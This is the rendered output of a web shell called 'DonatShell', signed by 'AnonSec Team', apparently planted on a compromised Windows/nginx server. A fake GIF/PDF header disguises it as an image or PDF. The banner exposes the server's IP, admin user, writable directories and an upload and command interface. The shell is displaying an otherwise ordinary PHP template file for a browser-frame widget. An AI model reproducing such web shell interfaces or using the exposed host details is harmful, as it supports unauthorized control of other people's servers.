GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/Browser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/Browser/Browser.phpinc
<?
// common/Browser/Browser.phpinc

debugTrackBegin();

$widthCenterCSS = '';

function BrowserBegin($title='', $location='', $width='', $height='') {
	#$DEBUG_Browser = true;
	if ( !isset($DEBUG_Browser) ) $DEBUG_Browser = false;
	if ( $title == '' ) { $title = 'CST browser'; }  else { $title .= ' - CST browser'; }
	if ( $location == '' ) { $location = 'http://localhost/'; }
	if ( $width != '' ) {
		$widthValue = intval($width);
		$widthMeasure = str_replace($widthValue,'',$width);
		if ( $widthMeasure == '' ) $widthMeasure = 'px';
		$widthCenter = $widthValue - 16; // -8 left image, -8 right image.
		if ( $widthCenter < 84 ) $widthCenter = 84;
		$GLOBALS['widthCenterCSS'] = ' width:'.$widthCenter.$widthMeasure.';';
		$widthContent = $widthCenter - 8; // -2 div border, -6 div padding.
		$widthContentCSS = ' width:'.$widthContent.$widthMeasure.';';
		$widthLocationText = 62;
		$widthLocation = $widthContent - $widthLocationText; // -62 for Location div.
		$widthLocationCSS = ' width:'.$widthLocation.$widthMeasure.';';
	} else {
		$GLOBALS['widthCenterCSS'] = '';
		$widthLocationCSS = '';
		$widthContentCSS = '';
		$widthLocationText = 62;
	}
	if ( $DEBUG_Browser ) d_Var('$widthCenterCSS',$GLOBALS['widthCenterCSS'],'/');
	if ( $DEBUG_Browser ) d_Var('$widthLocationCSS',$widthLocationCSS);
	if ( $DEBUG_Browser ) d_Var('$widthContentCSS',$widthContentCSS);
	if ( $height != '' ) {
		$heightValue = intval($height);
		$heightMeasure = str_replace($heightValue,'',$height);
		if ( $heightMeasure == '' ) $heightMeasure = 'px';
		$heightContent = $heightValue - 70; // -24 top image, -30 location bar,  -2 div border, -6 div padding, -8 bottom image.
		if ( $heightContent < 30 ) $heightContent = 30;
		$heightContentCSS = ' height:'.$heightContent.$heightMeasure.';';
	} else {
		$heightContentCSS = '';
	}
	if ( $DEBUG_Browser ) d_Var('$heightContentCSS',$heightContentCSS);
?>
<!--BrowserBegin('<?=$title?>', '<?=$location?>', '<?=$width?>', '<?=$height?>')-->
<table class="nopad">
	<!--Title bar-->
	<tr>
		<td style="background-image:url(/common/Browser/ul.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
		<td style="background-image:url(/common/Browser/u.png); background-repeat:repeat-x;<?=$GLOBALS['widthCenterCSS']?> height:24px;"><img src="/common/Browser/cst.png" alt="" style="float:left; margin-top:2px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:2px;"><?=$title?></div></td>
		<td style="background-image:url(/common/Browser/ur.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
	</tr>
	<!--Location bar-->
	<tr class="middle">
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="background-image:url(/common/Browser/c.png); background-repeat:repeat;<?=$GLOBALS['widthCenterCSS']?>">
		<table class="nopad">
			<tr>
				<td style="width:<?=$widthLocationText?>px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:4px;">Location:</div></td>
				<td><div style="background-color:#FFFFFF; border:1px solid silver; font-family:'Times New Roman', Times, serif; font-size:16px; overflow:hidden; padding:3px; text-align:left; white-space: nowrap;<?=$widthLocationCSS?>"><img src="/common/Browser/cstw.png" alt="" style="float:left; margin-right:3px; margin-top:1px;"><?=$location?></div></td>
			</tr>
		</table>
		</td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Content-->
	<tr>
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="font-family:'Times New Roman', Times, serif; font-size:16px; text-align:left;"><div style="background-color:white; border:1px solid silver; padding:3px; text-align:left;<?=$widthContentCSS?><?=$heightContentCSS?>"><?
} // END BrowserBegin.

function BrowserEnd() {
?></div></td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Status bar-->
	<tr>
		<td style="background-image:url(/common/Browser/bl.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
		<td style="background-image:url(/common/Browser/b.png); background-repeat:repeat-x;<?=$GLOBALS['widthCenterCSS']?> height:8px;"></td>
		<td style="background-image:url(/common/Browser/br.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
	</tr>
</table>
<!--BrowserEnd()-->
<?
} // END BrowserEnd.

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team